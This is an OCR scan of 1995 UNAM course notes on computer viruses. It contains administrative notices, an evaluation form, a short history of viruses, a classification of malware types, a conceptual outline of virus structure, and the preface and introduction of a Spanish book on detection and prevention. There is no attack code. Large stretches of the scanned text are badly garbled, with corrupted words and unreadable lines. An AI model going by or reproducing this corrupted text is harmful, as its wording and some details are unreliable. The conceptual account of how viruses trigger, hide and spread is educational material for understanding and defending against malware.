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FACULTAD DE INGENIERIA U.N.A.M. 
DIVISION DE EDUCACION CONTINUA 

CENTRO DE INFORMACION Y DOCUMENTACION 

"ING. BRUNO MASCANZONI" 

E1 Centro de Información y Documentación lng. Bruno Mascanzoni tiene por 

objetivo satisfacer las necesidades de actualización y proporcionar una 

adecuada información que permita a los ingenieros, profeso;es y alumnos estar 

al tanto del estado actual del conocimiento sobre temas específicos, 

enfatizando las investigaciones de vanguardia de los campos de la ingeniería, 

tanto nacionales como extranjeras. 

Es por ello que se pone a disposición de los asistentes a los curaos de la DECFI, 

así como del público en general los siguientes servicios: 

• Préstamo interno. 

• Préstamo externo. 

• Préstamo interbibliotecario. 

• Servicio de fotocopiado. 

• Consulta a los bancos de datos: li~?runam, aeriunam en cd-rom. 

Los materiales a disposición son: 

• Libros. 

• Tesis de posgrado. 

• Noticias técnicas. 

• Publicaciones periódicas. 

• Publicaciones de la Academia Mexicana de Ingeniería. 

• Notas de los cursos que se han impartido de 1980 a la fecha. 

En las áreas de ingeniería industrial, civil, electrónica, ciencias de la tierra, 

computación y, mecánica y eléctrica. 

El CID se encuentra ubicado en el mezzanhÍe del Palacio de Minería, lado 

oriente. 

El horario de servicio es de -10:00 a 19:30 horas de lunes a viernes. 
Palacio de Mineria Calle de Tacuba S Primer piso Deleg. Cuauhtemoc 06000 Mexico, D.F. APDO. Postal M·22BS 

Telelonos: 512-8955 512·5121 521·7335 521·1987 Fax 510-0573 521·4020 AL 26 
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FACUL TAO DE INGENIEAIA U.N.A.M. 
DIVISION DE EDUCACION CONTINUA 

A LOS ASISTENTES A LOS CURSOS 

Las autoridades de la Facultad de Ingeniería, por conducto del jefe de la 

División de Educación Continua, otorgan una constancia de asistencia a 

quienes cumplan con los requisitos establecidos para cada curso. 

El control de asistencia se llevará a cabo a través de la persona que le entregó 

las notas. Las inasistencias serán computadas por las autoridades de la 

División, con el fin de entregarle constancia solamente a los alumnos que 

tengan un mínimo de 80% de asistencias. 

r ' 
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Pedimos a los asisteiites'~recoger su constancia el día de la clausura. Estas se 
1 .. _;:-:-;-·~- ~::__....,.,.,¿:_ -:..tt 

retendrán por' el¡periodo Clec__ún,año, pasado este tiempo la DECFI no se hará 
, : 1. ~71~"-c..Y·--~'Y-::---~:-:~--~r . _..._ 

responsable;de,est~Y¡decum~l'~~~"..;'- -;:-:_::.;_:~: ... - . ~ -~,.r.' :· ~-
, \1; !:."- · ',, i'~ \:'.V 't.::;.· • ...,-;-"';:,, ... '( 1, ~ ; ,-:.~ 
.. , ! ~,, : , 1 <·:->

1 
, . ·.-:- 1r~::_~--~~~\--~ ·-_ ~t?.·~J )'-

1 .• j•. '1 <¡'' .·1: .,¡.,' -~ _ ..... 1 ,_,./·.,,. 

Se recomienda ·,a.; los asistentes .1 participar-:activaménte con sus ideas v 
' ,-.:.~_. .... --~·. · .. _, .-' ', ~~; ,;< j 1 <· '1 • ·, ·"~: .·: >:<. \'\¡ 

experiencias, pues:los curs
1
os"que ofrece la, División' está'n,planeados para que 

' '¡ . '· .~,· ··-.. ,\ ;:Ji•,'l¡' ·1 •··,.u,h'- -.· 
' ' 1- i - .. ' ' j¡ • :o !,1, •••.. ..,. 1 

los profesores 'expongan una•tesis •. pero· sobre todo, :para ,que''coordinen las 
• • ¡'1 ;t::, '.'' (,''•; .'.r :>:,;.)~';,¡·,-··~_-, .\ .. 'ÍJ~;I;J'¡:r;.,;~ . 

opmrones de todos los mteresados, constrtuyendo verdaderos semmarros . 

. -~~-- ~, (~~ t::,· .. <~·_::_,:,=:wri~)·nl:~2~ 
Es muy importante· que--todos los asistentés llenen V entreguen su hoja de 

' 1 -----¡ : : .·.: ; ~ 1::/,, ~:. i; ," ': 11':~~1 
inscripción :al •inicio'O:del·. curso, información'· que servirá . para-'-integrar un 

: ::~~-----·-::-·.:.- _.-:..:,,,_ ··-~"-" _____ _ 
directorio de asiírtentes,_que se entregara-oportunamente. 

l__ -- -- - - ---- --- -

~--·-------__.,.--
Con el objeto de mejorar los servicios que la División de Educación Continua 

ofrece, al final del curso 'deberán entregar la evaluación a través de un 

cuestionario diseñado para emitir juicios anónimos. 

Se recomienda llenar dicha evaluación conforme los profesores impartan sus 

clases, a efecto de no llenar en la última sesión las evaluaciones y con esto 

sean más fehacientes sus apreciaciones. 

Palacio de Minería Calle de Tacuba 5 
Teléfonos: 512-6955 

Atentamente 

División de Educación Continua. 

Pr~mer piso Deleg. Cuauhlémoc 06000 México, D.F. APDO. Postal M-2285 
512-5121 521-7335 521-1987 Fax 510-0573 521-4020 AL 26 
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EVALUACION DEL PERSONAL DOCENTE 

CURSO: VIRUS INFORMATICOS 
Del 26 al 30 Junio, 1995 

Conferencista : lng. Edwin Navarro Pliego 

Marque con una 11X 11 
, su respuesta. 

Los conocimientos del profesor sobre el curso son: 

L---..!IExcelentes L---..IIBuenos L.. __ _.! Regulares 

Las preguntas de los alumnos las contestan con : 

L---...IIMucha seguridad L---.llseguridad ._ __ _.!Inseguridad 

La clase se desarrolla en fonna : 

L---...IIMuy interesante L---...lllnteresante .___.....~!Aburrida 

El método de enseñanza del profesor conduce a un aprendizaje : 

L.. __ _.! Excelente L.. __ _.IBueno .___.....~!Regular 

La organización y desarrollo del curso es : 

L.. __ _.IAdecuada .___--ti Malo 

La calidad del material utilizado es : 

L.. __ _.IExcelente .___.....~!Bueno L.. __ _,! Regular 

Le agrado su estancia en la División de Educación Continua : 

L.. __ _.INo, Diga porque! 

Recomendaria el curso a otras personas : 

L-_ ___.lsi L.. __ _.INo, Diga porque! 

Medio del cual se entero de este curso 

.___--ti Malos 

.___--ti Malo 
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Introducción 

_Biológico: Son pequeñ.os agentes 

infecciosos, que no son capaces de vivir independientemente, ni 
reproducirse autónomamente. 

InformátiCO: sonpequeñ.asaplicaciones 

de Software que son capaces de reproducirse y que provocan anomalías en 
los sistemas de cómputo. 

Alguna vez se creyó que sólo era ciencia ficción, pero los virus 
informáticos han surgido como una seria amenaza. 

La Computer Virus lndustry Association (CVIA) reportaba ya en 
1990, que sólo en E.U. se habían detectado más de 500 formas de 
infecciones virales, las cuales afectaron a unas 200 mil computadoras. No 
obstante, es posible que aproximadamente un 50% de casos de infección 
no se hayan denunciado. 

El ataque de los virus sorprendió a la mayor parte de los gerentes de 
informática. Los métodos tradicionales que se utilizan para proteger la 
información son, por lo general, poco efectivos contra los virus y los 
prejuicios de informática con frecuencia dañ.an más que ayudar con los 
esfuerzos para guardar información, recursos personales y tiempo. 



Este _discurso fue publicado en el artículo Computer Recreations, en mayo( 
de 1984, en la edición de la revista "SCIENTIFIC AMERICAN", invitando 
a los lectores a que enviaran 2 dólares por correo por una copia de las 
guías para crear sus propios campos de batalla virales. ' · 

Pronto los virus de software empezaron a aparecer en los sistemas de 
computadoras de las universidades, convirtiéndose en un problema real. 

En 1974, Xerox Corporation pres.entó en E.U.'el primer programa que ya 
contenía un código autoduplicador. · 

En 1981, los equipos Apple II se vieron afectados por ,un virus llamado 
• \.. •• ' • " f 

Cloner, el cual presentaba un pequefto mensaJe en forma de poema y se 
introducía en Iós comandos de control e infectaba los discos. 

En 1983, el Dr. Fred Cohen realizó un experimento en la Universidad del 
Sur de California, presentando el primer virus residente en una PC, por lo ( 
que hoy se le conoce como el padre de los virus informáticos. . 

Los primeros virus que causaron infecciones y dañ.os de consideración 
aparecieron en 1986. Uno de ellos fué el Brain o Paquistaní. 

. ' . 

En 1987, las computadoras Commodore fueron atacadas por un virus que 
infectaba el sector de carga y se posicionaba en la memoria. Ese mismo afio 
los expertos de IBM tuvieron que diseñ.ar un programa antivirus para 
desinfectar su sistema de correo interno. 

En 1988, Aldus Corporation lanzó al mercado su programa FreeHand para 
Macintosh infectados por un virus benigno llamado Macintosh Peace, para 
poner un mensaje de paz en las pantallas de las computadoras, a fin de 
celebrar el aniversario de la introducción de la Macintosh II. 

( 
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El 11 de Abril de ese mismo año, apareció en la edición del periódico 
Infoworld el reporte de una infección hecha por un virus en las 
computadoras personales de la Agencia de Protección del Ambiente de la 
NASA. Contratistas de la NASA le vendieron a ésta computadoras 
personales infectadas. Este virus se activa y después de dos, cuatro o siete 
días de tener la infección destruye toda la información de los discos. Es 
conocido como el virus "SCORES". 

También se identificó el virus de Jerusalen que según algunas versiones, 
fué creado por la OLP con motivo del 40 aniversario del último día en que 
Palestina existió como nación (viernes 13 de Mayo de 1988). 

El2 de Noviembre del mismo año, las redes ARPANET y NSFnet en E. U. 
son infectadas por un gusano, afectando a más de 6 mil equipos de 
instalaciones militares de la NASA, universidades y centros de 
investigación públicos y privados. Este gusano también se infiltró en la 
Internet. 

En octubre de 1989, un comunicado de un desconocido comando 
tecnoterrorista manifestaba que había infectado una gran cantidad de 
computadoras y que el viernes 13 se destruiría automáticamente los 
archivos en diskettes y discos duros. Esta profecía no se realizó, sin 
embargo, la NASA vio afectado el lanzamiento de su transbordador 
espacial Atlantis ya que un desconocido interfirió sus computadoras. 

En 1990, en España, una revista de computación distribuyó discos 
contagiados con el virus de Jerusalen. 

En 1994, un caso similar se presentó en México cuando un representante 
de Borland distribuyó entre los asistentes a Softeach México 94, el diskette 
de demostración del programa dBASE IV para windows, infectado con el 
virus Monkey. 

·' 
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Clasificación y Estructura 

En general existen cuatro tipos de programas que causan anomalías en los 
sistemas de cómputo: 

Los gusanos. Es aquel que devora o destruye información a la manera 
en que un gusano carcome una fruta o árbol. Este programa se va 
moviendo o grabando en diferentes partes de la memoria de la 
computadora y a la vez va destruyendo la información que se encontraba 
antes de su llegada. 

Las bombas. Programa que daña inmediatamente al sistema al ser 
activado. Son aplicaciones formadas por secuencias de escape relacionadas 
a una instrucción, de tal forma que al ejecutarse dicha instrucción se 
dispara la bomba. 

Los caballos de Troya. Programas que bajo la apariencia de un 
programa útil son altamente peligrosos, ya que son capaces de dañar el 
hardware de las computadoras. Una vez que cumple su misión se 
autodestruye. 

Los virus. Programas que además de efectuar todo tipo de daño son 
capaces de reproducirse. 

Hacked. Se denomina de esta manera a una copia ilegal de algún 
software conocido, que ha sido modificada pero parece legítima; al ejecutar 
esta copia se producen problemas y daños en el sistema. 

., 
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Los tipos de virus en función del sentimiento que causa a los usuarios su 
descubrimiento, son los siguientes: 

Los simples 
Los malditos 
Los burlones 
Los temporales 
Los misteriosos 
Los crecidos 
Los viajeros 
Los vengadores 
Los resentidos 

.. 

Los descarados 
Los estadísticos 
Los supervisores 
Los juguetones 
Los mutantes 
Los caóticos 
Los fisicos 

. Los benignos 

Un programa debe clasificarse como virus si combina los 
siguientes atributos: 

.1 Modificación de códigos del software que no pertenecen al propio 
programa virus, a través del enlace de las estructuras del programa 
virus con las estructuras de otros programas. 

Facultad de ejercer la modificación en varios programas . 

.1 Facultad para reconocer, marcándola, una modificación realizada en 
otro(s) programa(s). 

Posibilidad de impedir que vuelva a ser modificado el mtsmo 
programa, al reconocer que ya está infectado o marcado. 

El software modificado asimila los atributos anteriores para, a su vez, 
iniciar el proceso con otros programas en otros discos. 

definición por Ralph Burguer 



FUNCIONAMIENTO DE LOS VIRUS 

~----~¿ES ELEVEN 
r- TOPROGRA-~S~I--------~ 

MADO? NO 

¿YA EXISTO? EJECUTAR MISION 

NO 

DESACTIV ARS REPRODUCIRS FIN 



ESTRUCTURA DE LOS VIRUS 

Para que sea exitoso un virus de computadora debe incluir, al menos, 
alguna de las siguientes partes: 

Uno o varios disparadores 

Un sistema de control interno 

Uno o varios sistemas de protección (ocultamiento) 

Uno o varios sistemas de reproducción y contagio 

Uno o varias misiones que cumplir 

En forma adicional es frecuente encontrar rutinas de regeneración para 
reconstruir las partes del virus que pudieran ser dañadas y programas 
portadores del virus que complementan la capacidad de reprodución y 
contagio. 

Para que el virus surta algún efecto tiene por fuerza, que estar activo; es 
decir, debe ejecutarse. La ejecución debe pasar más o menos inadvertida 
para el usuario y puede ser iniciada automáticamente al ocurrir algún 
evento, por ejemplo, el arranque de la máquina o la ejecución de algún 
comando del sistema operativo. 
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NOTA IMPORTANTE 

La informac1ón contemda en esta obr.1 tiene un fm exclusi\'amente di­
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Prefacio ·:. ~;:, : ··' 
._.,,... 

E n esta época en que la com¡mtacióH resulta indispensable 
en casi todas las actividades que realiza el ser humano, 

se hace necesario que, independientemente de su campo de 
trabajo o estudio, toda persona conozca <1! menos los funda­
mentos de la computación, ya que ésta, y en general la infor­
mática son, hoy por hoy, un r~querimiento fundament<1l para 
lograr un mejor puesto de tr;1bajo en oficinas, industrias, escue­
las, centros de investigación o incluso para realizar tareas en el 
mtsmo hogar. 

En general los progr<~mas de propósito específico como 
procesadores Jc texto, bases de datos, de dibUJO, d1seño, ad­
ministrati\'OS y otros, han sido desarrollados por competen­
tes programadores o por ctnpresas de reconocida seriedad 
que han dedicado muchas horas, días, y a veces, años a su 
creación. Por ello resulta muy lamentable que personas de 
m<1la fe, aprovechando la facilidad con que se pueden copiar 
los programas de un disco a otro, se dediquen a la venta ile­
gal de aquéllos, propiciando así una desleal competencia me­
diante la práctica conocid<1 corno piratería. 

También se d<m casos como el de los usuarios de computa­
doras que adquieren el progr<~ma original o una copia de éste 
y la distribuyen entre sus amigos. Esto da como resultado 
cuatro tipos de pirataía de software: la pirntaía comercial, qul' 
promueven ciertos vendedores de computadoras como 
atractivo p<~ra sus clientes; la piratería empresarial, la que rcali· 
zan nlgunas compaliías que adqutcrcn un solo paquete dt 
softw.1rc y luego distnbuyen copias del programa para se1 
usados simulttlne<Jmente en todos sus dcpnrtamcntos; la pi 
ralaín estudwlllil, que dcsgraci.1damentc prolifera debido a 
alto costo de los programas y la reducida cilp<Kidad econó 
mica de los jóvenes estudiantes, y la piratería de los juegos, qm 
se re<Jliza .1 todos los niveles. 
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Como es cvJdentc, estos hechos vio! cm descaradamente el 
derecho de autor. Esta práctica ileg<ll provoca el malestar de 
los programadores y de las casas fabncantes de software, 
quienes al ver sus utilidades mermadas aumentan el prcoo 
de venta Je los programas para tratar de nivelar las cuantiO­
sas pérdidas que por estos conceptos se acumulan. 

Asociaciones de fabricantes de software han hecho estima­
ciones -que en algunos casos son meras cspeculJcioncs- de 
!Js c?pias ileg<Jles q_uc e~isten, y se cree que circula un pro­
medio de 1 000 cop1as p1rateadns por cada programa origi­
nal. Además, de los programas más populares como Lotus 
1-2-3, WordPerfect o dl3ase, pudiera ser que se utilicen hasta 
5 000 copias ilegales por cada original. 

A_l_gunos programadores han desarrollado csqw_'l/ms di! pro­
tecClOII, los cuales a la vez que dificultan la tarea de copiar un 
disco, podrían ocasionar graves problemas en el funciona­
miento de la computadora o dañar la informanón que contie­
nen los discos -particularmente el disco duro o fijo-, 
provocando así la pérdida de información importante. Esto 
puede suceder cuando se ejecuta una copia no autorizada del 
software original, así haya sido hecha para guardar éste en 
un lugar seguro. 

Obviamente la intención de la mayoría de estos esquemas 
no es la de causar daño, sino proteger los programas contra 
copias ilegales. Sin embargo, en los últimos tiempos se ha ob­
servado una proliferación de pequeños programas llamados 
virus, que por su tamaño, modo de afectar la información de 
los discos, manera de introducirse en la computadora y da­
ños que_ causan: han sido comparados con los virus biológicos 
que actuan noc1vamente en el organismo humano. 

Estos dañinos programas o virus pueden ser generados 
~o_n _la inten_ción de n~~lestar ni usuario y causar grandes per­
JUICIOS a la mformanon que llene almacenad<~ en sus discos. 
No se trata ya de algo diseiiado sólo para proteger el softwa­
re creado por el programador, sino más bien de un progr<1m.1 
realmente creado para perjudic<lr a los usu<1rios que copian 
los prog_ramas propios para distribuirlos entre sus amigos -o 
que cop1an para SI los programas de algún amigo-, o a quie­
nes adquieren copias ilegales del software en elmcrcndo IIL'~ro 
a precios muy bajos. ~ 

Lo anterior crea una verdadera histeria entre los usuarios 
de computadoras, que ya cualquier falla de la computadora 
la atribuyen a unn illjt?cció" VIral, imaginando al virus como 
un fantasma o duende dJiiino que se introduce en la compu-

r Prefacio 7 

tadora para cJusar maléficas averías y cte~troznr_ la informa­
ción. Para desterrar es<ls ideas, es nccesano realizar un ~on­
cienzudo estudio sobre lo que son y lo que no son los v¡rus 
informáticos, ya que en adelante formarán parte de la gran 
comu11idnd informática. _ . . 

Si es usted víctima inocente de algun vuus, este libro pue­
de ayudarle a despejar el mis_terio relacionado_c_on ellos por­
que le informa sobre los metodo~ de detecc10n, _c(?ntrol Y 
erradicación, y acerca de los atrf¡vrrus, vncwrns y VIgilante: o 
monitores, que cuidan su computadora para 9ue no sea m­
fectada por uno de es~s temibles pr?gramas, a fm de log~a-~ la 
tranquilidad y segundad ne_ccsanas para la buena utdtza­
ción y el óptimo aprovechamiento _de la computadora, herra­
mienta indispensable en esta cpoc~ de so_r~rendentes 
avances tecnológicos en el campo de la mformallca. 

G.F.C. 
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Introducción 

T raigo aquí una frase acuñada desde la primera edición, 
que ya se ha convertido en representación de lo cotidia­

no respecto a las computadorJs: "Hace pocos ai'tus nadie hu­
biera imaginado que su computadora podría enfermar .. 
presentar síntomas desconocidos ... y mucho menos que esta 
enfermedad fuer<t causada por ... ¡un mortífero virus./". Desde 
entonces, (.'ll 1990, ya se veía venir el problema de los virus 
informáticos, que se prop<~ga a una velocidad poco común. 

Hoy día esto parece ser la causa más frecuente del mal fun­
CIOnamiento de cualquier computadora, y también el origen 
de costosas pérdidas de información tanto en los discos flexi­
bles (Floppy disks) como en los discos fijos o duros (Hard 
disks). En ocnsiones, los virus pueden provocJr perturbacio­
nes en el monitor al momento de ejecutar nuestro programa 
preferido, pero creer que una computadora se enferma es 
sólo fantasía. 

Los virus informáticos son hoy una realidad reconocida 
por las empresas dedicad<1s a la fabricación de software y 
hardware, e inclush•e las oficinas de gobierno los reconocen 
como un problema que mina su productividad en el área de 
la computación, ya que sus computadoras -junto con las 
compuladoras de las instituciones de educación- son las más 
afectadas. Esto es fácil de entender, puesto que es ahí donde 
mils personas pueden tener <1cccso a las computadoras y me­
diante la inserción de sus disquetes en ellas, es como se pro­
pagan los nefastos programas. 

¿Por qué llamarlos Virus? La gran similitud entre el funcio­
namiento de los vtrus mformáticos y los virus biológicos, pro­
piCió que estos pequeños programas se denominaran virus: 
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_ Los virus ln~J/ágicos son organismos infinitamente peque­
nos,~~ que m¡dcn aproxunadamentc de 200 a 250 allgstroms 
-el dJ_am~tro de_ ~n cabe JI?, mide un millón de angstroms­
L~s virus lllforllla/Icos tambu?n son programas muy pequcii.os; 
m1cntras mas pequeños sean y más control puedan tener so­
bre la computadora, justifican su <~pelativo. 

Los virus biológicos infectan las célubs del orgamsmo hu­
m.lno, modifican su información gcnétic<1 al irse reprodu­
ciendo dentro de las células afectadas, pueJcn estar latentes 
en el organismo durante bastante tiempo sin que éste presen­
te ningún síntoma de infección. Los vims inforllláticos atacan 
la parte más vulnerable del sistcm<J; el sector de carga (Boot 
sector), los programas con extensión .COM, .EXE, .OVL, 
.DDL y otros, modifican su estructura y se reproducen dentro 
de éstos, también pueden estar latentes en el sistema -infec­
tando discos y programas-, y no presentar problemas duran­
te largos períodos. 

Adicionalmente, cuando sufren mutaciones los virus bioló­
gicos, resulta muy difícil detectarlos lo cual los hace t:\trema­
dam~ntc difíciles de combatir una vez que se han presentado 
los smtomas, no afectan a todas las células del organismo con 
las que entran en cont;Jcto, afortunadamente los avances de 
la ciencia médica perm1ten prevenir la infección aplicando 
~acunas el~bor~das c?r: el mismo virus en dosis muy peque­
nas. Los v~rus mformaf¡cos se modifican por sí solos para evi-

. tar ser detectados fácilmente, no afectan a todos los archivos 
que entran en contacto con ellos y por suerte algunos progra­
mador~s han hec_ho programas que permiten prevenir su 
contagiO por med1o de vacunas; programas antivirus que los 
detectan en cuanto se presentan, y los eliminan antes de que 
empiecen su destructiva acción. 

Se ha hablado mucho en los medios especializados de ill­
fecciones virales que afectaban las computadoras de centros de 
investigaciones, de instituciones de educación o de grandes 
e_mpresas, aun_q_ue éstas no lo daban a conocer para no admi­
hr la vulnerabilidad de sus equipos y programas. Esto provo­
caba mucho temor y desaliento en la comunidad informática 
mundial que ya había tenido contacto con esta plaga. Por for­
tuna, el temor al contagio ha servido para concientiz,tr a Jos 
usuarios. a fin de que ~tilicen discos de programas originales 
y no se f1en de las captas que se les ofn ... >cen. 

~o anterior ~evu?lve la confianza a los programadores, 
qUienes al senttrse libres de la intranquilidad que les produ­
ce la proliferación de la piratería, disponen de méls tiempo 
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títil para dedicarse a la creación de nuevos y n~ejores progra­
mas de verdadera utthdad para nosotros, los usuarios de 
computadorus, que estamos áv1dos de software que realmen­
te ayude a resolver los problemas pequeños o grandes que 
confrontamos en nuestro diurio quehacer. 

1.1 Acerca del contenido de este libro 

En Vmts l'll las calll¡mladorns se presenta una descripción de 
los virus infnrm<lticos y cómo funcionan, las formas más co­
munes de contagio, los m;:1s conocidos tipos de virus, las téc­
nicas para su prevención y detección, los cuidados que deben 
tenerse a fin de evitar el contt~gio, etc. En esta nue\·a edición 
se incluyen algunos list,1dos de virus desensamblados con 
Debug, teniendo cuidado de no revelar las interrupciones y 
puntos vitales del funcionamiento de los virus para no propi­
ciar el mal uso de esta información v, fmalmente, en el dis­
quete adjunto se acompañan Programas antivirus 
introducidos al mercado n raíz de la proliferación de los di­
versos virus informáticos. 

Se anali1..an varios de estos programas en cuanto a su utili­
dad y confiabilidad; se incluye un listado con el nombre de 
cada programa y su autor o autores. Se discuten sus caracte­
rísticas principales de funcionamiento, así como su eficacia 
como antivirus. Por último, se indica el precio aproximado 
en dólares estadounidenses de cada programa antivirus (que 
haya sido producido en Estados Unidos, México o en algún 
otro país de América). 

No obstante, deseamos dejar claro que la única solución 
eficaz para comballr los virus informáticos consiste en crear 
conciencia en todos y cada uno de los usuarios de que no de­
ben utilizar copias ilegales de ningún software. Esperamos 
que se entienda que la piratería sólo sirve para que los terro­
ristas de la llljormática encuentren un excelente caldo de culti­
vo para diseminar sus maléficos virus, generalmente creados 
para ocasionar estragos en la información que tanto esfuerzo 
cuesta organizar a quienes tenemos que ganarnos el sustento 
diario con una computadora. 

1.2 Convenciones para facilitar la lectura 

Se ha incluido' una serie de ayudas gráficas a base de iconos 
en el margen izquierdo del texto para hacer algunas indica­
ciones, con el objeto de afianzar lo aprendido y lograr una 
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l w Nota: 

mejor comprensión de los temJS trat<tdos. EstJs ayudas se de­
tall;.m enscguiJ.J 

El símbolo del lápiz en posición de escritura indica que el párrafo 
es un texto importante para la comprensión del tema, y es conve­
niente memorizarlo o anotarlo pues se usará frecuentemente o se 
necesJtará más adelante. 

Con el símbolo de NOTA se resallan las notas adicionales al tex­
to. que permiten una mejor comprensión del tema tratado. Ade­
más las notas se dilerenc1an del texto general con una ligera 
pantalla como recuadro. 

Con este símbolo se hace notar un procedimiento que puede ser 
peligroso para su computadora. Se debe tener cuidado al realizar 
la operación indicada, ya que se corre el riesgo de perder alguna 
información importante, ~congelar" la computadora o provocar al­
gún trastorno al trabajo que se esté elaborando. 

Cuando se vaya a realizar un acceso de grabación al disco (f1jo o 
flexible), aparecerá este símbolo. Deben observarse las reglas indi­
cadas y efectuar la grabación con cu1dado, ya que se podría sobre­
escnbir alguna mformación o datos importantes que no podrán 
recuperarse. 

Si todo lo que se indicó ha saltdo bien y no existe peligro alguno 
de realtzar mal una operación. se señalará con el símbolo ante­
rior. Usted sabrá así que no hay nada que temer o que ha tenido 
éxito en su cometido. 

Después de haber explicado un procedimiento que se puede ha­
cer con el teclado, se tncluye la explicación breve para el ratón 
{mouse), y se denota con el simbolo del ratón a la izquierda. 

Ejemplo:-· A lo largo del texto se van realizando ejercicios o e¡emplos que per­
miten reafirmar el conocimiento de cada procedimiento explicado. 
El símbolo de la izqUierda ind1ca dónde emp1eza el ejemplo, y para 
señalar el final se usa la flecha y una pleca enseguida. ~--
También se ha t~dopLldo un11 serie Je convenciones pt~m 

denotar las puls<1ciones de teclas o combinaciones de ellas 
cuando es necest~rin. 

r 
1 
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C ndo se requiere pulsar una sola tecla para real~zar algtma _l~n­
ci~~, se descnbe la operación como: pulse .. , oprtma. , presto 

ne ... , etc. 

Cuando se debe pulsar P~~mer1o u~;c~i ~o;~:!~ ~~t.f1Ju~~r pulsar otra, se expl1ca ast tec ee ~ ·~ 
ejemplo. 

. lsar una secuencia de teclas de manera si· 
Cual ndá o se neecneus'n'aci~urec/eeW• + i}Tij + l]ill o pulse@.)+ g 
mut nea, se . ~ 

por ejemplo. 

Las palabras en tipo cursr~eor:~c~~~~a~::rr~n~~~=l~~;a~~t~~~~~~~~~al 
portante 0 que aparece re 
del texto. 

otras ayudas 

1 programas anllVIfUS de los 
~~=~~~~~~od~s;~:~~a~i~~~~~~~~~es para la prevención Y detec-

ción de virus informáticos. 

·¡ Jo j , 11 hs C:\I)!ICílC!ü11CS sobre l<~s te~ 
Pilril lograr u m l)nn! .. t .._ • · · . :l , 

1 • ~¡e sC deben pulsilr pt~rJ realiz.H un.J detcrm!l1ill <1 opc~ 
cr,"c~ó;1 se inclU)'Cll ést<~S en lorm<~ de icmws. Al cont<~lr conb<\1:1 
" ' 1 i . , · ,¡ '•s- 'presenta e pro e-lo tipo Je iconos de tcc ill os cn !!lb t.: ~c . 

su r •.sent~H los del tecl<~do en esp<~ilol; ve<~ ensegUJ-
d~,l~~~~~~~0~1105'iconos y sus cquh~t~lcnt~s cn_el t~clil~~~~ 

11 S)·¡,,"" inclu)''-m l<~s ted<~s que ca!llbitlll ..:ntrc caste nno L '- _,.._ 

bos tecbdos 

Icono Tecla español Icono Tecla español 

8 lmprPant ~ BloqDespl 

1'3 Retroceso 
8 Pausa BloqMoyúsc 

lntro '@TI ;] 
Tab a Control 

!3 Moyúsc ~ lnsert a 1]1 Fin 
Eil Inicio AvPág 
il§!l RePág S 
[K) BlockNúm ,[@J Supr 
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L <1 informática es b ciencia de !J informilcH.l!l Elll.~nmno 
es .tuón1mo de /N(0RIIIIlllÓ1111llltlA!Af/C;\, qu.._• signili· 

Cil: lodo .tquello que ti~_·ne rl!Llciún con ~_.¡ pl\Kes.umento dt? 
Jatos, util1zando las comput.tJorJs u lo:> eqtnplb de proct'SO 
autom<Ítico de inflll'lll.Ktún. 

LJ infLn-m.itiC.l L'S un.1 CJenci,l rel.tti\',llllL'llle nue,·a e u\ ,1 
tecnolohí.1 c.tmbi.l r.1pidamente, por lo que es Ih.'Cl'SJfil' m.ln­
Lf..'nersc .lctu.l!Jzadns, t.llllo con !.ts nue\'<tS técnicd~ \' metodo­
lngíJ, cumo con !.1 IL'rminolngí.l y r.llllílS Ju:...di.l;L'S que SL' 
u 1 i!J zan c,1lLl día mtls Res u ]1,¡ m u y d lfícil i mJglll.l r cualqUier 
disciplin.l científica, tt..·cnolú¡;Ka, económJca, socizll, etc, L'n 
donde no tensa cJbJd;J L1 Llenn.l de l<1 inform.Í.tlc.L 

El m<~lem.itico norte<llllL'riC.1rtn Cl.:1ude E. Sh.lil!Hlll es d LIL'.1-
dor de 1.1 modern.l k>tlfÍ,J de !.:1 uÜtlfln,Kiún, v la define d~.: !.1 
sigtuente m.mcr,1: "/¡~f(l/1/ILlátÍIIL'"> todo In que- reduL·e ].1 incer­
hdumbrl' cn\1e din2rSJS ;~itl'rnativ.J:> ~1tlSJblcs" En inhmnii.tica 
b inform.1ciún e~ cnnsiderad,1 Ll'llH1 sinúnimo dL' Ll:tlos (Data), 
por lo que vs común utlliz.u tlin1Hill1S como prnú':ltl de llljtll'-

11/llOtÍ/1 p.H<l rcfenr~L' JI procc~u tft' d!lf.;~, pern con\'iene .Kl.1rar 
que dL·sde el punto de Vbl.l dl' I.J cnmput;,..:1ún, los d,llos se 
procesan p;ua obll.'nL'r información cong1 Ul'ILie y urd('n,hi.l. 

Sh<1nnon <KuCH) pLlr \'eZ pnnwra L'l tL·rmnlll HJT -acrúnunu 
de Hllltll y dJgtT-, que es la unidad b.ísJC.l dl' 111formaCJÓn: y 
demostró que el r\lgcbm de Hoofe e::; 1.1 lwrr.lllllL'nta m<ls .ldc­
cuadJ p.11-.1estudiar lns sisiL'mas blll.lr!OS y, por supuesto, ~u 
<~plicaciun en las computadoras. 

Algunas dl' l.ls J¡scipllllaS que m<ls se han desarrollado en 
el campo de la inform,1tica son b IL·ft·nllíltcil, d tdcpttlCt'~o, l.1s 
redc:c: de COIIIJlllilldoJil~, el¡noccsllllliclllv de dato~. los ~i~ft'llltJS 
1/tldl llí:C:/flli"J('~ y, finalmcnk, la f'l'(lS: mnwcitÍtl, que l'S un.1 \'a lio­
sa y nccet:.ari.1 herram1ent;¡ p.1ra la IIÚ<lflll<ÍticaL'Il general y la 
computación en pMIICubr. 

l. 1 Qué es una computadora 
Computadora L'S un tl>rmino que h.1 c.HISJdn polémica en d 
mundu l11sp.lnop.1rbntl.!. En bs public.lcionc~ sobre compu­
t.tción pw\'cnicntes de Espai1Z~ se le denomin.1 ordcnJdor 
-del \'m·Jblu fr,lncois Urdinak'ur- y cun me1WS irl'(Ul'llC\,\ 
computado! -delmglés Compull'r-, micntr.ls que en l.-1s p.lÍ­
scs btinoameric<~nos se hJ gcneral¡z,tdo otr.1 traducCJÜ!l del 
vocablo inglés: comput.1dora 

La cumput.tdor,l es un dispoSIIi\'O dectrúnico c:1paz de H.!­

CJbir informJciún (Input d.llil), proceSJrla -nrdcn.1rl.1, rL•,lli-

1 
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zar operaciones matemáticas con ella, etc.- y presentar resul­
tados (Output) en la forma deseada -impresa, en pantalla, en 
archivos grabados en discos, etc.-. 

En ocasiones se ha definido a la computadora como un ce­
rebro electrónico o como un cerebro idiota de alla velocidad, 
pero resulta más apropiado considerarla como un procesa­
dor de datos o solucionador de problemas de propósito gene­
ral y de alta velocidad, ya que dista mucho de poder 
comparársele con el cerebro humano. 

El valor de la computadora radica en su extraordinaria ve­
locidad de procesamiento y en la exactitud de sus cálculos, 
cualidades útiles en tareas repetitivas que resultan tediosas 
para el hombre. La computadora puede realizar esJs labores 
